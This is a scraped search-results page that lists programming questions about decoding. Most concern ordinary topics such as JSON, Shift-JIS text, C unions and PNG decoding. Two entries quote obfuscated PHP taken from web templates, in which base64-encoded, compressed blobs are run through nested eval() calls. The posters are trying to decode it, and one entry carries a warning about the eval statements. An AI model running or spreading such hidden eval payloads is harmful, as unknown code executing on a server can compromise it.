Search Results

Search found 758 results on 31 pages for 'decode'.

Page 5/31 | < Previous Page | 1 2 3 4 5 6 7 8 9 10 11 12  | Next Page >

  • Stuck with a Base64 Decode (php)

    - by jay
    I started decoding a footer from a template but this is pretty much as far as I got since im a noobie @ php. Any assstance will be appreciated as I'm pretty suck. Here's the original file: $o="QAAACg07Y25xJ2RrZnR0OiVkawARYmZ1YW5/JTk7JioAEDk7KAHgCAA5DgoNAoA4d293J2BraGVmawAEJyNudFhvaGpiPCc4OQHXbmEhwCcvAbYnLid8AeUEUAY2aGlzZm5pAABidVg2NSdhaGhzcG5jYGJzAUx0KnR3aHMlBNAOBuAOOwbSBQJhcgAAaWRzbmhpWGJ/bnRzdC8gYwAAfmlmam5kWHRuY2JlZnUgLgZAJyEhJy8JEAEUWGYDAHFiLzQuJxSIe3snAY8zAY9zbgMAMi4uC0IoKCcAAENoaSBzJ3RvaHAnaGknc28IKGInYXULgCd3ZmBiDUInABAKDQ6AKBJhJ0Voc3NoaidBAiJQDOM9J1QB0FNGVVMnKioNIQKgAwAnFqJuYzolu8APeWEDcQ+CAmAOAnYZFBHTEcInYHVuY1hvvzMCshIxDgLTEpIRPA+wGZMOFNICkxyiBkEAQQaP+A8YUQaPAsED8waPZnUvMy48JxEACPMCwQWC308GpAEGYyYXDQ8NDyZgDQ0yBo8nJynDBmEAQAeXvgEZQSgWLhikCqECERtfYnN0PSdCSUMCk5vlBPEKDQBhKKN6DmAGYDBgDdIEMShkISBmLKV/8ioekQHwEnIC4wPhASAP6AMpD4EFIAShJ0EwcGJ4eHUjSwqiA8EjFWJ1JSck0R0zJMIiVGRodwfBfnVuYG8z9AOgB7EARQKpYWslOSEC8TAEPCcNgy2wWHNuamIvIF4gFkA4OYAgAYRla2hgbmlhaC8BVGV1KDknAAB0cnd3aHVzYmMnZX4nO2YnAABvdWJhOiVvc3N3PSgocHBwIAApajHwaXNob2h0c25pYH0pZBAAaGooAUQodWJ2cm51YmpiaXMACXQoJSdzbnNrYjolSgMjJ1UB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sKXskbGw9KCRsbGxsbGxsbGxsKCRsWyRsbGxsbCsrXSkmMHgwZikrMztmb3IoJGxsbGw9MDskbGxsbDwkbGw7JGxsbGwrKykkbGxsbGxsbGxbJGxsbGxsbGwrJGxsbGxdPSRsbGxsbGxsbFskbGxsbGxsbC0kbGxsKyRsbGxsXTskbGxsbGxsbCs9JGxsO31lbHNleyRsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8OCk7JGxsKz0kbGxsbGxsbGxsbCgkbFskbGxsbGwrK10pKzE2O2ZvcigkbGxsbD0wOyRsbGxsPCRsbDskbGxsbGxsbGxbJGxsbGxsbGwrJGxsbGwrK109JGxsbGxsbGxsbGwoJGxbJGxsbGxsXSkpOyRsbGxsbCsrOyRsbGxsbGxsKz0kbGw7fX1lbHNlJGxsbGxsbGxsWyRsbGxsbGxsKytdPSRsbGxsbGxsbGxsKCRsWyRsbGxsbCsrXSk7JGxsbGxsbDw8PTE7JGxsbGxsbGxsbC0tO31ldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd4c2JEMG5ZMmh5SnpzPSIpKTskbGxsbGw9MDtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkQwaVB5SXVKR3hzYkd4c2JHeHNiR3hzYkNnMk1pazciKSk7JGxsbGxsbGxsbGw9IiI7Zm9yKDskbGxsbGw8JGxsbGxsbGw7KXskbGxsbGxsbGxsbC49JGxsbGxsbGxsbGxsbCgkbGxsbGxsbGxbJGxsbGxsKytdXjB4MDcpO31ldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkM0OUpHeHNiR3hzYkd4c2JHd3VKR3hzYkd4c2JHeHNiR3hzYkNnMk1Da3VJajhpT3c9PSIpKTtldmFsKCRsbGxsbGxsbGwpOw==")) Here's what I got it down to: $lllllllllll='base64_decode'; $llllllllll='ord'; $lllllllllllll='strlen'; $llllllllllll='chr'; $lllllllll="?".$llllllllllll(62); $lllllllll.=$llllllllll.$llllllllllll(60)."?"; $lll=0;$code=(base64_decode("JGxsbGxsbGxsbGxsPSdiYXNlNjRfZGVjb2RlJzs="));echo $code;eval(base64_decode("JGxsbGxsbGxsbGxsPSdiYXNlNjRfZGVjb2RlJzs="));$ll=0;$code=($lllllllllll("JGxsbGxsbGxsbGw9J29yZCc7"));echo $code;eval($lllllllllll("JGxsbGxsbGxsbGw9J29yZCc7"));$llll=0;$lllll=3;$code=($lllllllllll("JGw9JGxsbGxsbGxsbGxsKCRvKTs="));echo $code;eval($lllllllllll("JGw9JGxsbGxsbGxsbGxsKCRvKTs="));$lllllll=0;$llllll=($llllllllll($l[1])<<8)+$llllllllll($l[2]);$code=($lllllllllll("JGxsbGxsbGxsbGxsbGw9J3N0cmxlbic7"));echo $code;eval($lllllllllll("JGxsbGxsbGxsbGxsbGw9J3N0cmxlbic7"));$lllllllll=16;$llllllll="";for(;$lllll<$lllllllllllll($l);){if($lllllllll==0){$llllll=($llllllllll($l[$lllll++])<<8);$llllll+=$llllllllll($l[$lllll++]);$lllllllll=16;}if($llllll&0x8000){$lll=($llllllllll($l[$lllll++])<<4);$lll+=($llllllllll($l[$lllll])>>4);if($lll){$ll=($llllllllll($l[$lllll++])&0x0f)+3;for($llll=0;$llll<$ll;$llll++)$llllllll[$lllllll+$llll]=$llllllll[$lllllll-$lll+$llll];$lllllll+=$ll;}else{$ll=($llllllllll($l[$lllll++])<<8);$ll+=$llllllllll($l[$lllll++])+16;for($llll=0;$llll<$ll;$llllllll[$lllllll+$llll++]=$llllllllll($l[$lllll]));$lllll++;$lllllll+=$ll;}}else$llllllll[$lllllll++]=$llllllllll($l[$lllll++]);$llllll<<=1;$lllllllll--;}$code=($lllllllllll("JGxsbGxsbGxsbGxsbD0nY2hyJzs="));echo $code;eval($lllllllllll("JGxsbGxsbGxsbGxsbD0nY2hyJzs="));$lllll=0;$code=($lllllllllll("JGxsbGxsbGxsbD0iPyIuJGxsbGxsbGxsbGxsbCg2Mik7"));echo $code;eval($lllllllllll("JGxsbGxsbGxsbD0iPyIuJGxsbGxsbGxsbGxsbCg2Mik7"));$llllllllll="";for(;$lllll<$lllllll;){$llllllllll.=$llllllllllll($llllllll[$lllll++]^0x07);}$code=($lllllllllll("JGxsbGxsbGxsbC49JGxsbGxsbGxsbGwuJGxsbGxsbGxsbGxsbCg2MCkuIj8iOw=="));echo $code;eval($lllllllllll("JGxsbGxsbGxsbC49JGxsbGxsbGxsbGwuJGxsbGxsbGxsbGxsbCg2MCkuIj8iOw=="));$code=($lllllllll);echo $code;eval($lllllllll);

    Read the article

  • How to decode this data

    - by Nei dal bem
    I have a field in the DB that is type bytea and this is an example of the data in: \254\355\000\005sr\000\014java.net.URL\226%76\032\374\344r\003\000\007I\000\010hashCodeI\000\004portL\000\011authorityt\000\022Ljava/lang/String;L\000\004fileq\000~\000\001L\000\004hostq\000~\000\001L\000\010protocolq\000~\000\001L\000\003refq\000~\000\001xp\377\377\377\377\377\377\377\377t\000\021asm.objectweb.orgt\000\013/index.htmlq\000~\000\003t\000\004httppx I need to convert this data into readable URL, do you know how can I do that? What type of encoding is this? Thanks!

    Read the article

  • C struct print, decode this code?

    - by pauliwago
    I am in the process of studying for a test, and I'm trying to work through some practice problems. I've been working on this a while now..but can't figure it out. Please take a look at the code fragment: union { int i; short x; unsigned short u; float f; } testout; testout.i=0xC0208000; Before I ask the question, can someone please explain to me how the above code works?? My guess is that testout.i=0xC0208000 puts either an int, short, unsigned short, or float and puts the result in that address. (?) The question is what prints out if we write printf("%d", testout.x)? I know we should expect digits....but I have no idea where they are getting the digits from....there is no output. Any explanation would be greatly appreciated. Thanks!

    Read the article

  • Decode S-JIS string to UTF-8

    - by user566613
    Hi, I am working on a Japanese File and I have no knowledge of the language. The file is encoded in S-JIS. Now, I am supposed to convert the contents into UTF-8 so that the content looks like Japanese. And here I am completely blank. I tried the following code that I found somewhere on Internet but no luck: byte[] arrByte = Encoding.UTF8.GetBytes(arrActualData[x]); string str = ASCIIEncoding.ASCII.GetString(arrByte);Can anyone help me with this? Thanks in advance Kunal

    Read the article

  • how to decode <div> innerHTML to <textarea>

    - by user475464
    below is the <div> and <textarea> in my webpage <div id="div_1" onclick="document.getElementById("textarea_1").innerHTML=document.getElementById("div_1").innerHTML;"> paragraph 1 paragraph 2 paragraph 3 paragraph 4 </div> <textarea id="textarea_1"></textarea> when i click the div i need to show <div> innerHTML to <textarea> but its coming like below <textarea id="textarea_1">paragraph 1<br><br>paragraph 2<br><br>paragraph 3<br><br>paragraph 4</textarea> i need output like this (correct format of <div> ) <textarea id="textarea_1"> paragraph 1 paragraph 2 paragraph 3 paragraph 4 </textarea>

    Read the article

  • [biztalk2006]can not decode base64 to xml plain text

    - by user622851
    I use biz2006 + rosettaNet as our EDI solution. Now I meet a issue that, when a partner send pip to us, the content(base64 encoded) could not been converted to XML plain text. Here're content of the pip we received. MIME-Version: 1.0 Content-Type: application/xml; charset="UTF-8"; RNSubType=service-header` Content-Transfer-Encoding: base64 Content-ID: 3e10e7db96b84cafbee51e66e020729f Content-Description: body Content-Disposition: attachment; filename="Attachment1" PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48IURPQ1RZUEUgU2VydmljZUhl ...== I find a working format as below Content-Transfer-Encoding: binary <?xml version="1.0" encoding="UTF-8"?> Anyone could tell we how to solve the issue? Any suggestion is appreciated. Thanks.

    Read the article

  • Can somebody decode this base64 php file??? [closed]

    - by lensflare007
    Warning: contains eval statements, do not blindly run this in an environment you care about! $o="QAAAO2NucSdka2Z0dDolZGtiZgQAdSU5OygBQDkNOzh3b3cnbmkAAGRrcmNiJy9TQkpXS0ZTQlcAAUZTTycpJyAoZWhzc2hqKQJQAKAgLjwnODkODQOUDQVCbmM6JWELgGhoc2IFIA0BwAVABoVha2JhcyU5AAQNRGh3fnVuYG9zJyFkALA8J4AEBzNiZG9oJ2Nmc2IvIF4FsDg5gAEBhGVraGBuaWFoLyBpZmpiAaIIADtldSgKoGYnb3ViYTolb3NzAAB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NiR3hzYkd4c2JHd3VKR3hzYkd4c2JHeHNiR3hzYkNnMk1Da3VJajhpT3c9PSIpKTtldmFsKCRsbGxsbGxsbGwpOw=="));return;?>

    Read the article

  • json_decode returns NULL (php)

    - by schouk
    There is a strange behaviour with json_encode and json_decode and I can't find a solution: My php application calls a php web service. The webservice returns json that looks like this: var_dump($foo): string(62) "?{"action":"set","user":"123123123123","status":"OK"}" now I like to decode the json in my application: $data = json_decode($foo, true) but it returns NULL: var_dump($data): NULL I use php 5. The Content-Type of the response from the webservice: "text/html; charset=utf-8" (also tried to use "application/json; charset=utf-8") What could be the reason?

    Read the article

  • Decoding and caching json every 60 minutes

    - by Gary
    Hi, How do I do this on a php webpage? I want to get and decode a json string and display the results as html on my page, however, I don't want it hotlinking back to the source. If I could write the decoded string to a txt file say weather.txt on the server and keep the html formatting and do it so that the page won't fetch the json script until 60 minutes has passed since the last time it was fetched regardless of how many times the page is opened during that 60 minute period and the weather.txt is viewed. All I can come up with is a simple script that hotlinks, everything else I have tried simply failed. $file = file_get_contents('http://sample.com/weather'); $out = (json_decode($file)); echo $out-mainText; Will appreciate any help with this.

    Read the article

  • Reading and decoding PDF-417 barcodes stored in an image or PDF file from within a .NET application

    - by John Rasch
    I am looking for a .NET library that is able to decode data from a PDF-417 barcode that is embedded either in an image file or PDF. At this point, I have only been able to find a Java version and a C version. Ideally, this library would be both open-source and free of charge, but I doubt such a decoder exists. I am open to trying out demos of existing products that you may have had experience with - which leads me to the question - have you had any experience reading PDF-417 barcodes embedded in images or PDFs using .NET, and which of the available products would you recommend to do so?

    Read the article

  • PHP - json_decode() returns null when using echo

    - by ShatouDev
    I am using the following script to decode a json. Although the var_dump($obj) returns result (similar to one in here Example #1), the echo line doesn't return any result, as if the $obj being null. <?php $clientJSONObject = file_get_contents('php://input'); $obj = json_decode($clientJSONObject, TRUE); var_dump($obj); // working. echo $obj; // returns nothing. echo $obj["carrier"]; // returns nothing. ?> var_dump output: array(2) { ["carrier"]=> string(8) "Etisalat" ["userLanguage"]=> string(2) "ar" }

    Read the article

  • Serialising my JSON output problem in JQuery

    - by davykiash
    Am trying to validate my form using an AJAX call $("#button").click(function() { $.ajax({ type: "POST", url: "<?php echo $this->baseUrl() ?>/expensetypes/async", data: 'fs=' + JSON.stringify($('#myform').serialize(true)), contentType: "application/json; charset=utf-8", dataType: "json" }); }); On my controller my code is as follows //Map the form from the client-side call $myFormData = Zend_Json::decode($this->getRequest()->getParam("fs") ,Zend_Json::TYPE_ARRAY); $form = new Form_Expensetypes(); $form->isValid($myFormData); However from firebug my output is as follows fs="id=&expense_types_code=AAA&expense_types_desc=CCCC&expense_types_linkemail=XXXX&expense_types_budgetamount=22222&expense_types_budgetperiod=22222" What I expect is something similar to fs{"expense_types_code":"AAA","expense_types_desc":"CCCC","expense_types_linkemail":"XXXX","expense_types_budgetamount":"22222"} How do I achieve this type of serialisation?

    Read the article

  • DECODING JSON CODE! HOW TO?

    - by ilnur777
    Hi, everybody! Could I ask you to help me to decode this JSON code: $json = '{"inbox":[{"from":"55512351","date":"29\/03\/2010","time":"21:24:10","utcOffsetSeconds":3600,"recipients":[{"address":"55512351","name":"55512351","deliveryStatus":"notRequested"}],"body":"This is message text."},{"from":"55512351","date":"29\/03\/2010","time":"21:24:12","utcOffsetSeconds":3600,"recipients":[{"address":"55512351","name":"55512351","deliveryStatus":"notRequested"}],"body":"This is message text."},{"from":"55512351","date":"29\/03\/2010","time":"21:24:13","utcOffsetSeconds":3600,"recipients":[{"address":"55512351","name":"55512351","deliveryStatus":"notRequested"}],"body":"This is message text."},{"from":"55512351","date":"29\/03\/2010","time":"21:24:13","utcOffsetSeconds":3600,"recipients":[{"address":"55512351","name":"55512351","deliveryStatus":"notRequested"}],"body":"This is message text."}]}'; I would like to organize above structure to this: Note 1: Folder: inbox From (from): ... Date (date): ... Time (time): ... utcOffsetSeconds: ... Recepient (address): ... Recepient (name): ... Status (deliveryStatus): ... Text (body): ... Note 2: ... Thank you in advance!

    Read the article

  • Fastest PNG decoder for .NET

    - by sboisse
    Our web server needs to process many compositions of large images together before sending the results to web clients. This process is performance critical because the server can receive several thousands of requests per hour. Right now our solution loads PNG files (around 1MB each) from the HD and sends them to the video card so the composition is done on the GPU. We first tried loading our images using the PNG decoder exposed by the XNA API. We saw the performance was not too good. To understand if the problem was loading from the HD or the decoding of the PNG, we modified that by loading the file in a memory stream, and then sending that memory stream to the .NET PNG decoder. The difference of performance using XNA or using System.Windows.Media.Imaging.PngBitmapDecoder class is not significant. We roughly get the same levels of performance. Our benchmarks show the following performance results: Load images from disk: 37.76ms 1% Decode PNGs: 2816.97ms 77% Load images on Video Hardware: 196.67ms 5% Composition: 87.80ms 2% Get composition result from Video Hardware: 166.21ms 5% Encode to PNG: 318.13ms 9% Store to disk: 3.96ms 0% Clean up: 53.00ms 1% Total: 3680.50ms 100% From these results we see that the slowest parts are when decoding the PNG. So we are wondering if there wouldn't be a PNG decoder we could use that would allow us to reduce the PNG decoding time. We also considered keeping the images uncompressed on the hard disk, but then each image would be 10MB in size instead of 1MB and since there are several tens of thousands of these images stored on the hard disk, it is not possible to store them all without compression.

    Read the article

  • An ideal way to decode JSON documents in C?

    - by AzizAG
    Assuming I have an API to consume that uses JSON as a data transmission method, what is an ideal way to decode the JSON returned by each API resource? For example, in Java I'd create a class for each API resource then initiate an object of that class and consume data from it. for example: class UserJson extends JsonParser { public function UserJson(String document) { /*Initial document parsing goes here...*/ } //A bunch of getter methods . . . . } The probably do something like this: UserJson userJson = new UserJson(jsonString);//Initial parsing goes in the constructor String username = userJson.getName();//Parse JSON name property then return it as a String. Or when using a programming language with associative arrays(i.e., hash table) the decoding process doesn't require creating a class: (PHP) $userJson = json_decode($jsonString);//Decode JSON as key=>value $username = $userJson['name']; But, when I'm programming in procedural programming languages (C), I can't go with either method, since C is neither OOP nor supports associative arrays(by default, at least). What is the "correct" method of parsing pre-defined JSON strings(i.e., JSON documents specified by the API provider via examples or documentation)? The method I'm currently using is creating a file for each API resource to parse, the problem with this method is that it's basically a lousy version of the OOP method, as it looks exactly like the OOP method but doesn't provide any OOP benefits(e.g., can't pass an object of the parser, etc.). I've been thinking about encapsulating each API resource parser file in a publicly accessed structure(pointing all functions/publicly usable variables to the structure) then accessing the parser file code from within the structure(parser.parse(), parser.getName(), etc.). As this way looks a bit better than the my current method, it still just a rip off the OOP way, isn't it? Any suggestions for methods to parse JSON documents on procedural programming lanauges? Any comments on the methods I'm currently using(either 3 of them)?

    Read the article

  • How do I pass session variables from one domain to another in PHP

    - by Dave
    Hi everyone, I have encountered a situation where I need to pass $_SESSION variables from one domain to an iFrame page from another domain. I have spent the last 16 days trying various methods to no avail. I think that the only logical way would be to encode the variables in the url that calls the iFrame and decode them in th iFrame page. I am not sure how to go about this and I am looking for any samples, assistance etc that I can find. Thanks for any and all suggestions. Here is an example of what I am trying to do... Example: <!-- Note only using hidden as I didn't want to build the form at test phase--> <form name="test" method="post" action="iframe_test.php"> <input type="submit" name="Submit" /> <input type="hidden" name="fName" value="abc" /> <input type="hidden" name="lName" value="def" /> <input type="hidden" name="address1" value="ghi" /> <input type="hidden" name="address2" value="jkl" /> <input type="hidden" name="country" value="mno" /> <input type="hidden" name="postal_code" value="pqr" /> <input type="hidden" name="city" value="stu" /> <input type="hidden" name="retUrl" value="vwx"> <input type="hidden" name="decUrl" value="yz"> So from here I am hitting the iframe_test.php and doing the following: PHP Code: function StripSpecChar($val) { return (preg_replace('/[^a-zA-Z0-9" "-.@\:\/_]/','', $val)); } foreach ($_POST as $key => $val) { $_SESSION[$key] = StripSpecChar($val); } and I get a session array that looks like this: Code: Array ( [fName] => abc [lName] => def [address1] => ghi [address2] => jkl [country] => mno [postal_code] => pqr [city] => stu [retUrl] => vwx [decUrl] => yz ) Still all good so far....call the iFrame Code: <body> Some page stuff here <div align="center"><span class="style1"><strong>This is the iFrame Page</strong></span> </div> <div align="center"> <iframe src="https://www.other_domain.org/iframe/reserve.php" width="500" height="350" frameBorder="0"></iframe> </div> </body> So HOW do I take... $_SESSION['fName']['abc']; $_SESSION['lName']['def']; $_SESSION['address1']['ghi']; $_SESSION['address2']['jkl']; $_SESSION['country']['mno']; $_SESSION['postal_code']['pqr']; $_SESSION['city']['stu']; $_SESSION['retUrl']['vwx']; $_SESSION['decUrl']['yz']; and turn it into the encoded url that I am looking for? Further once that is done how to I get the session vars back as session vars on that new domain iFrame page...

    Read the article

  • jsonSerializer.DeserializeObject and arrays

    - by Chin
    I have a column in the a database with values like the below. [{"noteText":"Today was sunny.","noteDate":"2010-03-30 10:06:22"},{"noteDate":"2010-04-06 13:21:36","noteText":"Today was windy."}] I think they are from an array of objects serialized via flash to Json. What I need to do is pull out the noteText and noteDate values only and record them back to the database as a normal string. I was hoping to just deserialize back to objects and build up a string from there, however, due to my unfamiliarity with c# and .Net I've hit a brick wall trying to deserialize the string. var obj = jsonSerializer.DeserializeObject(ns); Am I going in the right direction or should I be looking at doing some string manipulation? Any pointers much appreciated.

    Read the article

  • Problem with Json Date format when calling cross-domain proxy

    - by Christo Fur
    I am using a proxy service to allow my client side javascript to talk to a service on another domain The proxy is a simple ashx file with simply gets the request and forwards it onto the service on the other domain : using (var sr = new System.IO.StreamReader(context.Request.InputStream)) { requestData = sr.ReadToEnd(); } string data = HttpUtility.UrlDecode(requestData); using (var client = new WebClient()) { client.BaseAddress = serviceUrl; client.Headers.Add("Content-Type", "application/json"); response = client.UploadString(new Uri(webserviceUrl), data); } The client javascript calling this proxy looks like this function TestMethod() { $.ajax({ type: "POST", url: "/custommodules/configuratorproxyservice.ashx?m=TestMethod", contentType: "application/json; charset=utf-8", data: JSON.parse('{"testObj":{"Name":"jo","Ref":"jones","LastModified":"\/Date(-62135596800000+0000)\/"}}'), dataType: "json", success: AjaxSucceeded, error: AjaxFailed }); function AjaxSucceeded(result) { alert(result); } function AjaxFailed(result) { alert(result.status + ' - ' + result.statusText); } } This works fine until I have to pass a date. At which point I get a Bad Request error when the proxy tries to call the service I did have this working at one point but have now lost it. Have tried using JSON.Parse on the object before sending. and JSON.Stringify, but no joy anyone got any ideas what I am missing

    Read the article

  • Prevent Coldfusion from encoding html

    - by cr1ms0n3cho
    I am trying to return html from <cfsavecontent variables="html"> <p>Some html</p> </cfsavecontent> <cfreturn html> But when it comes back from the function the html is encoded I found this thread http://www.coldfusionjedi.com/forums/messages.cfm?threadid=BB31B124-19B9-E658-9D3F5726B8607FD8 which has some solutions but im hoping for something a little less messy. Any help is appreciated! Thanks

    Read the article

  • Resizing JPEG image during decoding

    - by Thomas
    I'm working on a program that creates thumbnails of JPEG images on the fly. Now I was thinking: since a JPEG image is built from 8x8-pixel blocks (Wikipedia has a great explanation), would it be possible to skip part of the decoding? Let's say that my thumbnails are at least 8 times smaller than the original image. We could then map each 8x8 block in the input file to 1 pixel in the decoding output, by including only the constant term of the discrete cosine transform. Most of the image data can be discarded right away, and need not be processed. Moreover, the memory usage is reduced by a factor of 64. I don't want to implement this from scratch; that'll easily take a week. Is there any code out there that can do this? If not, is this because this approach isn't worthwhile, or simply because nobody has thought of it yet?

    Read the article

  • Python decoding issue with hashlib.digest() method

    - by Sorw
    Hello StackOverflow community, Using Google App Engine, I wrote a keyToSha256() method within a model class (extending db.Model) : class Car(db.Model): def keyToSha256(self): keyhash = hashlib.sha256(str(self.key())).digest() return keyhash When displaying the output (ultimately within a Django template), I get garbled text, for example : ?????_??!`?I?!?;?QeqN??Al?'2 I was expecting something more in line with this : 9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08 Am I missing something important ? Despite reading several guides on ASCII, Unicode, utf-8 and the like, I think I'm still far from mastering the secrets of string encoding/decoding. After browsing StackOverflow and searching for insights via Google, I figured out I should ask the question here. Any idea ? Thanks !

    Read the article

  • MySQL Collation or PHP side to display accented letters properly

    - by Wayne
    What is the best Collation for the column that can allow to store accented letters and parse them out perfectly without any encoding error, because whenever I add an accented letter such as é, å, it shows out with an encoding problem on the PHP side, but in the MySQL side it's fine... How do I get the accented letters display properly?

    Read the article

  • Python 3.1.1 string to hex

    - by Stuart
    I am trying to use str.encode() but I get >>> "hello".encode(hex) Traceback (most recent call last): File "<stdin>", line 1, in <module> TypeError: must be string, not builtin_function_or_method I have tried a bunch of variations and they seem to all work in Python 2.5.2, so what do I need to do to get them to work in Python 3.1?

    Read the article

  • Python utf-8 decoding issue with hashlib.digest() method

    - by Sorw
    Hello StackOverflow community, Using Google App Engine, I wrote a keyToSha256() method within a model class (extending db.Model) : class Car(db.Model): def keyToSha256(self): keyhash = hashlib.sha256(str(self.key())).digest() return keyhash When displaying the output (ultimately within a Django template), I get garbled text, for example : ?????_??!`?I?!?;?QeqN??Al?'2 I was expecting something more in line with this : 9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08 Am I missing something important ? Despite reading several guides on ASCII, Unicode, utf-8 and the like, I think I'm still far from mastering the secrets of string encoding/decoding. After browsing StackOverflow and searching for insights via Google, I figured out I should ask the question here. Any idea ? Thanks !

    Read the article

< Previous Page | 1 2 3 4 5 6 7 8 9 10 11 12  | Next Page >